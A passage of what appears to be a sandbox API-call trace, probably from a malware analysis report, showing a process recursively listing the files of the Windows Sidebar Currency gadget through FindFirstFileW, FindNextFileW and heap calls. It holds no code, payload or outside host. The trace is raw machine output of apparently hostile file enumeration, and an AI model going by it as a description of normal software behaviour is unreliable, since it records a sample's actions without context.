RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0207.894] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0207.895] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.895] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0207.896] GetProcessHeap () returned 0x550000 [0207.896] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0207.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0207.896] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.896] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 1 [0207.896] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 0 [0207.896] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0207.897] GetProcessHeap () returned 0x550000 [0207.897] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0207.897] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1792, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.html", cAlternateFileName="")) returned 1 [0207.897] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0207.897] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0207.897] GetProcessHeap () returned 0x550000 [0207.897] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0207.897] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0207.897] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.897] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104de, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.js", cAlternateFileName="")) returned 1 [0207.898] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="init.js", cAlternateFileName="")) returned 1 [0207.898] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x161e, dwReserved0=0x0, dwReserved1=0x0, cFileName="library.js", cAlternateFileName="")) returned 1 [0207.898] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2bf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedStrings.js", cAlternateFileName="")) returned 1 [0207.898] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="service.js", cAlternateFileName="")) returned 1 [0207.898] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="service.js", cAlternateFileName="")) returned 0 [0207.898] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0207.898] GetProcessHeap () returned 0x550000 [0207.898] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0207.898] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0207.898] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0207.899] GetProcessHeap () returned 0x550000 [0207.899] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0207.899] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x296c7da5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x296c7da5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae9, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0207.899] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0207.899] GetProcessHeap () returned 0x550000 [0207.899] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0207.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0208.040] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.040] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8640abee, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8640abee, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3129, dwReserved0=0x0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0208.040] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863263c0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863263c0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_down.png", cAlternateFileName="")) returned 1 [0208.040] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863263c0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863263c0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296edf03, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_over.png", cAlternateFileName="")) returned 1 [0208.040] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86300263, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86300263, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296edf03, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_up.png", cAlternateFileName="")) returned 1 [0208.041] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862b3fa9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x862b3fa9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29714061, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-docked.png", cAlternateFileName="")) returned 1 [0208.041] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29714061, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x29714061, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x29714061, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xaa66, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-2.png", cAlternateFileName="")) returned 1 [0208.041] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86267cef, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86267cef, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29714061, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd31a, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-3.png", cAlternateFileName="")) returned 1 [0208.041] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8628de4c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8628de4c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2973a1bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf240, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-4.png", cAlternateFileName="")) returned 1 [0208.041] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863987d7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863987d7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a0dbb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb93, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-left.png", cAlternateFileName="")) returned 1 [0208.041] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863be934, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863be934, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a0dbb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb45, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-middle.png", cAlternateFileName="")) returned 1 [0208.041] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863be934, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863be934, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a0dbb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-right.png", cAlternateFileName="")) returned 1 [0208.041] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8634c51d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8634c51d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a33d17, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_down.png", cAlternateFileName="")) returned 1 [0208.041] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8634c51d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8634c51d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a33d17, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_over.png", cAlternateFileName="")) returned 1 [0208.041] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8634c51d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8634c51d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a59e75, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_up.png", cAlternateFileName="")) returned 1 [0208.041] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863987d7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863987d7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a59e75, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_down.png", cAlternateFileName="")) returned 1 [0208.041] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8637267a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8637267a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a59e75, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_over.png", cAlternateFileName="")) returned 1 [0208.042] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8637267a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8637267a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a7ffd3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb71, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_up.png", cAlternateFileName="")) returned 1 [0208.042] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8640abee, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8640abee, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29acc28f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.png", cAlternateFileName="")) returned 1 [0208.042] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863e4a91, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863e4a91, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29af23ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbda, dwReserved0=0x0, dwReserved1=0x0, cFileName="row_over.png", cAlternateFileName="")) returned 1 [0208.042] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862da106, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x862da106, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29af23ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="triangle.png", cAlternateFileName="")) returned 1 [0208.042] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862da106, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x862da106, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29af23ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="triangle.png", cAlternateFileName="")) returned 0 [0208.042] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0208.043] GetProcessHeap () returned 0x550000 [0208.043] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0208.043] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29e5e35f, 